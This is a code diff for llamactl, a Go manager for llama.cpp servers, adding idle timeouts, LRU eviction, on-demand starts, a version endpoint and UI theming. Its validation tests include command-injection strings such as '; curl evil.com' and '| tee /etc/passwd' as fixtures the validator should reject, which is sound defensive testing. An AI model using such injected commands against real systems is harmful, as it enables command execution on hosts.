
pkg/manager/timeout.go

@@ -0,0 +1,64 @@
+package manager
+
+import (
+	"fmt"
+	"llamactl/pkg/instance"
+	"log"
+)
+
+func (im *instanceManager) checkAllTimeouts() {
+	im.mu.RLock()
+	var timeoutInstances []string
+
+	// Identify instances that should timeout
+	for _, inst := range im.instances {
+		if inst.ShouldTimeout() {
+			timeoutInstances = append(timeoutInstances, inst.Name)
+		}
+	}
+	im.mu.RUnlock() // Release read lock before calling StopInstance
+
+	// Stop the timed-out instances
+	for _, name := range timeoutInstances {
+		log.Printf("Instance %s has timed out, stopping it", name)
+		if _, err := im.StopInstance(name); err != nil {
+			log.Printf("Error stopping instance %s: %v", name, err)
+		} else {
+			log.Printf("Instance %s stopped successfully", name)
+		}
+	}
+}
+
+// EvictLRUInstance finds and stops the least recently used running instance.
+func (im *instanceManager) EvictLRUInstance() error {
+	im.mu.RLock()
+	var lruInstance *instance.Process
+
+	for name, _ := range im.runningInstances {
+		inst := im.instances[name]
+		if inst == nil {
+			continue
+		}
+
+		if inst.GetOptions() != nil && inst.GetOptions().IdleTimeout != nil && *inst.GetOptions().IdleTimeout <= 0 {
+			continue // Skip instances without idle timeout
+		}
+
+		if lruInstance == nil {
+			lruInstance = inst
+		}
+
+		if inst.LastRequestTime() < lruInstance.LastRequestTime() {
+			lruInstance = inst
+		}
+	}
+	im.mu.RUnlock()
+
+	if lruInstance == nil {
+		return fmt.Errorf("failed to find lru instance")
+	}
+
+	// Evict Instance
+	_, err := im.StopInstance(lruInstance.Name)
+	return err
+}

pkg/manager/timeout_test.go

@@ -0,0 +1,328 @@
+package manager_test
+
+import (
+	"llamactl/pkg/backends"
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/manager"
+	"sync"
+	"testing"
+	"time"
+)
+
+func TestTimeoutFunctionality(t *testing.T) {
+	// Test timeout checker initialization
+	cfg := config.InstancesConfig{
+		PortRange:            [2]int{8000, 9000},
+		TimeoutCheckInterval: 10,
+		MaxInstances:         5,
+	}
+
+	manager := manager.NewInstanceManager(cfg)
+	if manager == nil {
+		t.Fatal("Manager should be initialized with timeout checker")
+	}
+	manager.Shutdown() // Clean up
+
+	// Test timeout configuration and logic without starting the actual process
+	testManager := createTestManager()
+	defer testManager.Shutdown()
+
+	idleTimeout := 1 // 1 minute
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst, err := testManager.CreateInstance("timeout-test", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	// Test timeout configuration is properly set
+	if inst.GetOptions().IdleTimeout == nil {
+		t.Fatal("Instance should have idle timeout configured")
+	}
+	if *inst.GetOptions().IdleTimeout != 1 {
+		t.Errorf("Expected idle timeout 1 minute, got %d", *inst.GetOptions().IdleTimeout)
+	}
+
+	// Test timeout logic without actually starting the process
+	// Create a mock time provider to simulate timeout
+	mockTime := NewMockTimeProvider(time.Now())
+	inst.SetTimeProvider(mockTime)
+
+	// Set instance to running state so timeout logic can work
+	inst.SetStatus(instance.Running)
+
+	// Simulate instance being "running" for timeout check (without actual process)
+	// We'll test the ShouldTimeout logic directly
+	inst.UpdateLastRequestTime()
+
+	// Initially should not timeout (just updated)
+	if inst.ShouldTimeout() {
+		t.Error("Instance should not timeout immediately after request")
+	}
+
+	// Advance time to trigger timeout
+	mockTime.SetTime(time.Now().Add(2 * time.Minute))
+
+	// Now it should timeout
+	if !inst.ShouldTimeout() {
+		t.Error("Instance should timeout after idle period")
+	}
+
+	// Reset running state to avoid shutdown issues
+	inst.SetStatus(instance.Stopped)
+
+	// Test that instance without timeout doesn't timeout
+	noTimeoutOptions := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+		// No IdleTimeout set
+	}
+
+	noTimeoutInst, err := testManager.CreateInstance("no-timeout-test", noTimeoutOptions)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	noTimeoutInst.SetTimeProvider(mockTime)
+	noTimeoutInst.SetStatus(instance.Running) // Set to running for timeout check
+	noTimeoutInst.UpdateLastRequestTime()
+
+	// Even with time advanced, should not timeout
+	if noTimeoutInst.ShouldTimeout() {
+		t.Error("Instance without timeout configuration should never timeout")
+	}
+
+	// Reset running state to avoid shutdown issues
+	noTimeoutInst.SetStatus(instance.Stopped)
+}
+
+func TestEvictLRUInstance_Success(t *testing.T) {
+	manager := createTestManager()
+	// Don't defer manager.Shutdown() - we'll handle cleanup manually
+
+	// Create 3 instances with idle timeout enabled (value doesn't matter for LRU logic)
+	options1 := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model1.gguf",
+		},
+		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
+	}
+	options2 := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model2.gguf",
+		},
+		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
+	}
+	options3 := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model3.gguf",
+		},
+		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
+	}
+
+	inst1, err := manager.CreateInstance("instance-1", options1)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+	inst2, err := manager.CreateInstance("instance-2", options2)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+	inst3, err := manager.CreateInstance("instance-3", options3)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	// Set up mock time and set instances to running
+	mockTime := NewMockTimeProvider(time.Now())
+	inst1.SetTimeProvider(mockTime)
+	inst2.SetTimeProvider(mockTime)
+	inst3.SetTimeProvider(mockTime)
+
+	inst1.SetStatus(instance.Running)
+	inst2.SetStatus(instance.Running)
+	inst3.SetStatus(instance.Running)
+
+	// Set different last request times (oldest to newest)
+	// inst1: oldest (will be evicted)
+	inst1.UpdateLastRequestTime()
+
+	mockTime.SetTime(mockTime.Now().Add(1 * time.Minute))
+	inst2.UpdateLastRequestTime()
+
+	mockTime.SetTime(mockTime.Now().Add(1 * time.Minute))
+	inst3.UpdateLastRequestTime()
+
+	// Evict LRU instance (should be inst1)
+	err = manager.EvictLRUInstance()
+	if err != nil {
+		t.Fatalf("EvictLRUInstance failed: %v", err)
+	}
+
+	// Verify inst1 is stopped
+	if inst1.IsRunning() {
+		t.Error("Expected instance-1 to be stopped after eviction")
+	}
+
+	// Verify inst2 and inst3 are still running
+	if !inst2.IsRunning() {
+		t.Error("Expected instance-2 to still be running")
+	}
+	if !inst3.IsRunning() {
+		t.Error("Expected instance-3 to still be running")
+	}
+
+	// Clean up manually - set all to stopped and then shutdown
+	inst2.SetStatus(instance.Stopped)
+	inst3.SetStatus(instance.Stopped)
+}
+
+func TestEvictLRUInstance_NoEligibleInstances(t *testing.T) {
+	// Helper function to create instances with different timeout configurations
+	createInstanceWithTimeout := func(manager manager.InstanceManager, name, model string, timeout *int) *instance.Process {
+		options := &instance.CreateInstanceOptions{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				Model: model,
+			},
+			IdleTimeout: timeout,
+		}
+		inst, err := manager.CreateInstance(name, options)
+		if err != nil {
+			t.Fatalf("CreateInstance failed: %v", err)
+		}
+		return inst
+	}
+
+	t.Run("no running instances", func(t *testing.T) {
+		manager := createTestManager()
+		defer manager.Shutdown()
+
+		err := manager.EvictLRUInstance()
+		if err == nil {
+			t.Error("Expected error when no running instances exist")
+		}
+		if err.Error() != "failed to find lru instance" {
+			t.Errorf("Expected 'failed to find lru instance' error, got: %v", err)
+		}
+	})
+
+	t.Run("only instances without timeout", func(t *testing.T) {
+		manager := createTestManager()
+		defer manager.Shutdown()
+
+		// Create instances with various non-eligible timeout configurations
+		zeroTimeout := 0
+		negativeTimeout := -1
+		inst1 := createInstanceWithTimeout(manager, "no-timeout-1", "/path/to/model1.gguf", &zeroTimeout)
+		inst2 := createInstanceWithTimeout(manager, "no-timeout-2", "/path/to/model2.gguf", &negativeTimeout)
+		inst3 := createInstanceWithTimeout(manager, "no-timeout-3", "/path/to/model3.gguf", nil)
+
+		// Set instances to running
+		instances := []*instance.Process{inst1, inst2, inst3}
+		for _, inst := range instances {
+			inst.SetStatus(instance.Running)
+		}
+		defer func() {
+			// Reset instances to stopped to avoid shutdown panics
+			for _, inst := range instances {
+				inst.SetStatus(instance.Stopped)
+			}
+		}()
+
+		// Try to evict - should fail because no eligible instances
+		err := manager.EvictLRUInstance()
+		if err == nil {
+			t.Error("Expected error when no eligible instances exist")
+		}
+		if err.Error() != "failed to find lru instance" {
+			t.Errorf("Expected 'failed to find lru instance' error, got: %v", err)
+		}
+
+		// Verify all instances are still running
+		for i, inst := range instances {
+			if !inst.IsRunning() {
+				t.Errorf("Expected instance %d to still be running", i+1)
+			}
+		}
+	})
+
+	t.Run("mixed instances - evicts only eligible ones", func(t *testing.T) {
+		manager := createTestManager()
+		defer manager.Shutdown()
+
+		// Create mix of instances: some with timeout enabled, some disabled
+		validTimeout := 1
+		zeroTimeout := 0
+		instWithTimeout := createInstanceWithTimeout(manager, "with-timeout", "/path/to/model-with-timeout.gguf", &validTimeout)
+		instNoTimeout1 := createInstanceWithTimeout(manager, "no-timeout-1", "/path/to/model-no-timeout1.gguf", &zeroTimeout)
+		instNoTimeout2 := createInstanceWithTimeout(manager, "no-timeout-2", "/path/to/model-no-timeout2.gguf", nil)
+
+		// Set all instances to running
+		instances := []*instance.Process{instWithTimeout, instNoTimeout1, instNoTimeout2}
+		for _, inst := range instances {
+			inst.SetStatus(instance.Running)
+			inst.UpdateLastRequestTime()
+		}
+		defer func() {
+			// Reset instances to stopped to avoid shutdown panics
+			for _, inst := range instances {
+				if inst.IsRunning() {
+					inst.SetStatus(instance.Stopped)
+				}
+			}
+		}()
+
+		// Evict LRU instance - should only consider the one with timeout
+		err := manager.EvictLRUInstance()
+		if err != nil {
+			t.Fatalf("EvictLRUInstance failed: %v", err)
+		}
+
+		// Verify only the instance with timeout was evicted
+		if instWithTimeout.IsRunning() {
+			t.Error("Expected with-timeout instance to be stopped after eviction")
+		}
+		if !instNoTimeout1.IsRunning() {
+			t.Error("Expected no-timeout-1 instance to still be running")
+		}
+		if !instNoTimeout2.IsRunning() {
+			t.Error("Expected no-timeout-2 instance to still be running")
+		}
+	})
+}
+
+// Helper for timeout tests
+type MockTimeProvider struct {
+	currentTime time.Time
+	mu          sync.RWMutex
+}
+
+func NewMockTimeProvider(t time.Time) *MockTimeProvider {
+	return &MockTimeProvider{currentTime: t}
+}
+
+func (m *MockTimeProvider) Now() time.Time {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	return m.currentTime
+}
+
+func (m *MockTimeProvider) SetTime(t time.Time) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.currentTime = t
+}

pkg/server/handlers.go

@@ -28,7 +28,23 @@ func NewHandler(im manager.InstanceManager, cfg config.AppConfig) *Handler {
 	}
 }
 
-// HelpHandler godoc
+// VersionHandler godoc
+// @Summary Get llamactl version
+// @Description Returns the version of the llamactl command
+// @Tags version
+// @Security ApiKeyAuth
+// @Produces text/plain
+// @Success 200 {string} string "Version information"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /version [get]
+func (h *Handler) VersionHandler() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		w.Header().Set("Content-Type", "text/plain")
+		fmt.Fprintf(w, "Version: %s\nCommit: %s\nBuild Time: %s\n", h.cfg.Version, h.cfg.CommitHash, h.cfg.BuildTime)
+	}
+}
+
+// LlamaServerHelpHandler godoc
 // @Summary Get help for llama server
 // @Description Returns the help text for the llama server command
 // @Tags server
@@ -37,7 +53,7 @@ func NewHandler(im manager.InstanceManager, cfg config.AppConfig) *Handler {
 // @Success 200 {string} string "Help text"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /server/help [get]
-func (h *Handler) HelpHandler() http.HandlerFunc {
+func (h *Handler) LlamaServerHelpHandler() http.HandlerFunc {
 	return func(w http.ResponseWriter, r *http.Request) {
 		helpCmd := exec.Command("llama-server", "--help")
 		output, err := helpCmd.CombinedOutput()
@@ -50,7 +66,7 @@ func (h *Handler) HelpHandler() http.HandlerFunc {
 	}
 }
 
-// VersionHandler godoc
+// LlamaServerVersionHandler godoc
 // @Summary Get version of llama server
 // @Description Returns the version of the llama server command
 // @Tags server
@@ -59,7 +75,7 @@ func (h *Handler) HelpHandler() http.HandlerFunc {
 // @Success 200 {string} string "Version information"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /server/version [get]
-func (h *Handler) VersionHandler() http.HandlerFunc {
+func (h *Handler) LlamaServerVersionHandler() http.HandlerFunc {
 	return func(w http.ResponseWriter, r *http.Request) {
 		versionCmd := exec.Command("llama-server", "--version")
 		output, err := versionCmd.CombinedOutput()
@@ -72,7 +88,7 @@ func (h *Handler) VersionHandler() http.HandlerFunc {
 	}
 }
 
-// ListDevicesHandler godoc
+// LlamaServerListDevicesHandler godoc
 // @Summary List available devices for llama server
 // @Description Returns a list of available devices for the llama server
 // @Tags server
@@ -81,7 +97,7 @@ func (h *Handler) VersionHandler() http.HandlerFunc {
 // @Success 200 {string} string "List of devices"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /server/devices [get]
-func (h *Handler) ListDevicesHandler() http.HandlerFunc {
+func (h *Handler) LlamaServerListDevicesHandler() http.HandlerFunc {
 	return func(w http.ResponseWriter, r *http.Request) {
 		listCmd := exec.Command("llama-server", "--list-devices")
 		output, err := listCmd.CombinedOutput()
@@ -100,7 +116,7 @@ func (h *Handler) ListDevicesHandler() http.HandlerFunc {
 // @Tags instances
 // @Security ApiKeyAuth
 // @Produces json
-// @Success 200 {array} Instance "List of instances"
+// @Success 200 {array} instance.Process "List of instances"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances [get]
 func (h *Handler) ListInstances() http.HandlerFunc {
@@ -127,8 +143,8 @@ func (h *Handler) ListInstances() http.HandlerFunc {
 // @Accept json
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Param options body CreateInstanceOptions true "Instance configuration options"
+// @Param options body instance.CreateInstanceOptions true "Instance configuration options"
-// @Success 201 {object} Instance "Created instance details"
+// @Success 201 {object} instance.Process "Created instance details"
 // @Failure 400 {string} string "Invalid request body"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name} [post]
@@ -168,7 +184,7 @@ func (h *Handler) CreateInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Instance details"
+// @Success 200 {object} instance.Process "Instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name} [get]
@@ -202,8 +218,8 @@ func (h *Handler) GetInstance() http.HandlerFunc {
 // @Accept json
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Param options body CreateInstanceOptions true "Instance configuration options"
+// @Param options body instance.CreateInstanceOptions true "Instance configuration options"
-// @Success 200 {object} Instance "Updated instance details"
+// @Success 200 {object} instance.Process "Updated instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name} [put]
@@ -242,7 +258,7 @@ func (h *Handler) UpdateInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Started instance details"
+// @Success 200 {object} instance.Process "Started instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name}/start [post]
@@ -256,6 +272,12 @@ func (h *Handler) StartInstance() http.HandlerFunc {
 
 		inst, err := h.InstanceManager.StartInstance(name)
 		if err != nil {
+			// Check if error is due to maximum running instances limit
+			if _, ok := err.(manager.MaxRunningInstancesError); ok {
+				http.Error(w, err.Error(), http.StatusConflict)
+				return
+			}
+
 			http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
@@ -275,7 +297,7 @@ func (h *Handler) StartInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Stopped instance details"
+// @Success 200 {object} instance.Process "Stopped instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name}/stop [post]
@@ -308,7 +330,7 @@ func (h *Handler) StopInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Restarted instance details"
+// @Success 200 {object} instance.Process "Restarted instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name}/restart [post]
@@ -435,7 +457,7 @@ func (h *Handler) ProxyToInstance() http.HandlerFunc {
 			return
 		}
 
-		if !inst.Running {
+		if !inst.IsRunning() {
 			http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
 			return
 		}
@@ -456,6 +478,9 @@ func (h *Handler) ProxyToInstance() http.HandlerFunc {
 			proxyPath = "/" + proxyPath
 		}
 
+		// Update the last request time for the instance
+		inst.UpdateLastRequestTime()
+
 		// Modify the request to remove the proxy prefix
 		originalPath := r.URL.Path
 		r.URL.Path = proxyPath
@@ -555,17 +580,48 @@ func (h *Handler) OpenAIProxy() http.HandlerFunc {
 			return
 		}
 
-		if !inst.Running {
+		if !inst.IsRunning() {
+			allowOnDemand := inst.GetOptions() != nil && inst.GetOptions().OnDemandStart != nil && *inst.GetOptions().OnDemandStart
+			if !allowOnDemand {
 				http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
 				return
 			}
 
+			if h.InstanceManager.IsMaxRunningInstancesReached() {
+				if h.cfg.Instances.EnableLRUEviction {
+					err := h.InstanceManager.EvictLRUInstance()
+					if err != nil {
+						http.Error(w, "Cannot start Instance, failed to evict instance "+err.Error(), http.StatusInternalServerError)
+						return
+					}
+				} else {
+					http.Error(w, "Cannot start Instance, maximum number of instances reached", http.StatusConflict)
+					return
+				}
+			}
+
+			// If on-demand start is enabled, start the instance
+			if _, err := h.InstanceManager.StartInstance(modelName); err != nil {
+				http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError)
+				return
+			}
+
+			// Wait for the instance to become healthy before proceeding
+			if err := inst.WaitForHealthy(h.cfg.Instances.OnDemandStartTimeout); err != nil { // 2 minutes timeout
+				http.Error(w, "Instance failed to become healthy: "+err.Error(), http.StatusServiceUnavailable)
+				return
+			}
+		}
+
 		proxy, err := inst.GetProxy()
 		if err != nil {
 			http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
+		// Update last request time for the instance
+		inst.UpdateLastRequestTime()
+
 		// Recreate the request body from the bytes we read
 		r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
 		r.ContentLength = int64(len(bodyBytes))

pkg/server/routes.go

@@ -8,7 +8,7 @@ import (
 	"github.com/go-chi/cors"
 	httpSwagger "github.com/swaggo/http-swagger"
 
-	_ "llamactl/docs"
+	_ "llamactl/apidocs"
 	"llamactl/webui"
 )
 
@@ -42,10 +42,12 @@ func SetupRouter(handler *Handler) *chi.Mux {
 			r.Use(authMiddleware.AuthMiddleware(KeyTypeManagement))
 		}
 
+		r.Get("/version", handler.VersionHandler()) // Get server version
+
 		r.Route("/server", func(r chi.Router) {
-			r.Get("/help", handler.HelpHandler())
+			r.Get("/help", handler.LlamaServerHelpHandler())
-			r.Get("/version", handler.VersionHandler())
+			r.Get("/version", handler.LlamaServerVersionHandler())
-			r.Get("/devices", handler.ListDevicesHandler())
+			r.Get("/devices", handler.LlamaServerListDevicesHandler())
 		})
 
 		// Instance management endpoints

pkg/validation/validation.go

@@ -2,6 +2,7 @@ package validation
 
 import (
 	"fmt"
+	"llamactl/pkg/backends"
 	"llamactl/pkg/instance"
 	"reflect"
 	"regexp"
@@ -33,20 +34,35 @@ func validateStringForInjection(value string) error {
 	return nil
 }
 
-// ValidateInstanceOptions performs minimal security validation
+// ValidateInstanceOptions performs validation based on backend type
 func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error {
 	if options == nil {
 		return ValidationError(fmt.Errorf("options cannot be nil"))
 	}
 
+	// Validate based on backend type
+	switch options.BackendType {
+	case backends.BackendTypeLlamaCpp:
+		return validateLlamaCppOptions(options)
+	default:
+		return ValidationError(fmt.Errorf("unsupported backend type: %s", options.BackendType))
+	}
+}
+
+// validateLlamaCppOptions validates llama.cpp specific options
+func validateLlamaCppOptions(options *instance.CreateInstanceOptions) error {
+	if options.LlamaServerOptions == nil {
+		return ValidationError(fmt.Errorf("llama server options cannot be nil for llama.cpp backend"))
+	}
+
 	// Use reflection to check all string fields for injection patterns
-	if err := validateStructStrings(&options.LlamaServerOptions, ""); err != nil {
+	if err := validateStructStrings(options.LlamaServerOptions, ""); err != nil {
 		return err
 	}
 
-	// Basic network validation - only check for reasonable ranges
+	// Basic network validation for port
-	if options.Port < 0 || options.Port > 65535 {
+	if options.LlamaServerOptions.Port < 0 || options.LlamaServerOptions.Port > 65535 {
-		return ValidationError(fmt.Errorf("invalid port range"))
+		return ValidationError(fmt.Errorf("invalid port range: %d", options.LlamaServerOptions.Port))
 	}
 
 	return nil

pkg/validation/validation_test.go

@@ -1,6 +1,7 @@
 package validation_test
 
 import (
+	"llamactl/pkg/backends"
 	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/testutil"
@@ -83,7 +84,8 @@ func TestValidateInstanceOptions_PortValidation(t *testing.T) {
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
 			options := &instance.CreateInstanceOptions{
-				LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
 					Port: tt.port,
 				},
 			}
@@ -136,7 +138,8 @@ func TestValidateInstanceOptions_StringInjection(t *testing.T) {
 		t.Run(tt.name, func(t *testing.T) {
 			// Test with Model field (string field)
 			options := &instance.CreateInstanceOptions{
-				LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
 					Model: tt.value,
 				},
 			}
@@ -173,7 +176,8 @@ func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
 		t.Run(tt.name, func(t *testing.T) {
 			// Test with Lora field (array field)
 			options := &instance.CreateInstanceOptions{
-				LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
 					Lora: tt.array,
 				},
 			}
@@ -196,7 +200,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 		{
 			name: "injection in model field",
 			options: &instance.CreateInstanceOptions{
-				LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
 					Model:  "safe.gguf",
 					HFRepo: "microsoft/model; curl evil.com",
 				},
@@ -206,7 +211,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 		{
 			name: "injection in log file",
 			options: &instance.CreateInstanceOptions{
-				LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
 					Model:   "safe.gguf",
 					LogFile: "/tmp/log.txt | tee /etc/passwd",
 				},
@@ -216,7 +222,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 		{
 			name: "all safe fields",
 			options: &instance.CreateInstanceOptions{
-				LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
 					Model:   "/path/to/model.gguf",
 					HFRepo:  "microsoft/DialoGPT-medium",
 					LogFile: "/tmp/llama.log",
@@ -244,7 +251,8 @@ func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
 		AutoRestart:  testutil.BoolPtr(true),
 		MaxRestarts:  testutil.IntPtr(5),
 		RestartDelay: testutil.IntPtr(10),
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType:  backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Port:        8080,
 			GPULayers:   32,
 			CtxSize:     4096,

webui/src/App.tsx

@@ -7,6 +7,7 @@ import SystemInfoDialog from "./components/SystemInfoDialog";
 import { type CreateInstanceOptions, type Instance } from "@/types/instance";
 import { useInstances } from "@/contexts/InstancesContext";
 import { useAuth } from "@/contexts/AuthContext";
+import { ThemeProvider } from "@/contexts/ThemeContext";
 
 function App() {
   const { isAuthenticated, isLoading: authLoading } = useAuth();
@@ -29,9 +30,9 @@ function App() {
 
   const handleSaveInstance = (name: string, options: CreateInstanceOptions) => {
     if (editingInstance) {
-      updateInstance(editingInstance.name, options);
+      void updateInstance(editingInstance.name, options);
     } else {
-      createInstance(name, options);
+      void createInstance(name, options);
     }
   };
 
@@ -42,27 +43,32 @@ function App() {
   // Show loading spinner while checking auth
   if (authLoading) {
     return (
-      <div className="min-h-screen bg-gray-50 flex items-center justify-center">
+      <ThemeProvider>
+        <div className="min-h-screen bg-background flex items-center justify-center">
           <div className="text-center">
-          <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-blue-600 mx-auto mb-4"></div>
+            <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-primary mx-auto mb-4"></div>
-          <p className="text-gray-600">Loading...</p>
+            <p className="text-muted-foreground">Loading...</p>
           </div>
         </div>
+      </ThemeProvider>
     );
   }
 
   // Show login dialog if not authenticated
   if (!isAuthenticated) {
     return (
-      <div className="min-h-screen bg-gray-50">
+      <ThemeProvider>
+        <div className="min-h-screen bg-background">
           <LoginDialog open={true} />
         </div>
+      </ThemeProvider>
     );
   }
 
   // Show main app if authenticated
   return (
-    <div className="min-h-screen bg-gray-50">
+    <ThemeProvider>
+      <div className="min-h-screen bg-background">
         <Header onCreateInstance={handleCreateInstance} onShowSystemInfo={handleShowSystemInfo} />
         <main className="container mx-auto max-w-4xl px-4 py-8">
           <InstanceList editInstance={handleEditInstance} />
@@ -80,6 +86,7 @@ function App() {
           onOpenChange={setIsSystemInfoModalOpen}
         />
       </div>
+    </ThemeProvider>
   );
 }
 

webui/src/__tests__/App.test.tsx

@@ -5,6 +5,7 @@ import App from '@/App'
 import { InstancesProvider } from '@/contexts/InstancesContext'
 import { instancesApi } from '@/lib/api'
 import type { Instance } from '@/types/instance'
+import { BackendType } from '@/types/instance'
 import { AuthProvider } from '@/contexts/AuthContext'
 
 // Mock the API
@@ -46,8 +47,8 @@ function renderApp() {
 
 describe('App Component - Critical Business Logic Only', () => {
   const mockInstances: Instance[] = [
-    { name: 'test-instance-1', running: false, options: { model: 'model1.gguf' } },
+    { name: 'test-instance-1', status: 'stopped', options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'model1.gguf' } } },
-    { name: 'test-instance-2', running: true, options: { model: 'model2.gguf' } }
+    { name: 'test-instance-2', status: 'running', options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'model2.gguf' } } }
   ]
 
   beforeEach(() => {
@@ -55,6 +56,21 @@ describe('App Component - Critical Business Logic Only', () => {
     vi.mocked(instancesApi.list).mockResolvedValue(mockInstances)
     window.sessionStorage.setItem('llamactl_management_key', 'test-api-key-123')
     global.fetch = vi.fn(() => Promise.resolve(new Response(null, { status: 200 })))
+    
+    // Mock window.matchMedia for dark mode functionality
+    Object.defineProperty(window, 'matchMedia', {
+      writable: true,
+      value: vi.fn().mockImplementation((query: string) => ({
+        matches: false,
+        media: query,
+        onchange: null,
+        addListener: vi.fn(),
+        removeListener: vi.fn(),
+        addEventListener: vi.fn(),
+        removeEventListener: vi.fn(),
+        dispatchEvent: vi.fn(),
+      })),
+    })
   })
 
   afterEach(() => {
@@ -66,8 +82,8 @@ describe('App Component - Critical Business Logic Only', () => {
       const user = userEvent.setup()
       const newInstance: Instance = {
         name: 'new-test-instance',
-        running: false,
+        status: 'stopped',
-        options: { model: 'new-model.gguf' }
+        options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'new-model.gguf' } }
       }
       vi.mocked(instancesApi.create).mockResolvedValue(newInstance)
 
@@ -90,6 +106,7 @@ describe('App Component - Critical Business Logic Only', () => {
       await waitFor(() => {
         expect(instancesApi.create).toHaveBeenCalledWith('new-test-instance', {
           auto_restart: true, // Default value
+          backend_type: BackendType.LLAMA_CPP
         })
       })
 
@@ -103,8 +120,8 @@ describe('App Component - Critical Business Logic Only', () => {
       const user = userEvent.setup()
       const updatedInstance: Instance = {
         name: 'test-instance-1',
-        running: false,
+        status: 'stopped',
-        options: { model: 'updated-model.gguf' }
+        options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'updated-model.gguf' } }
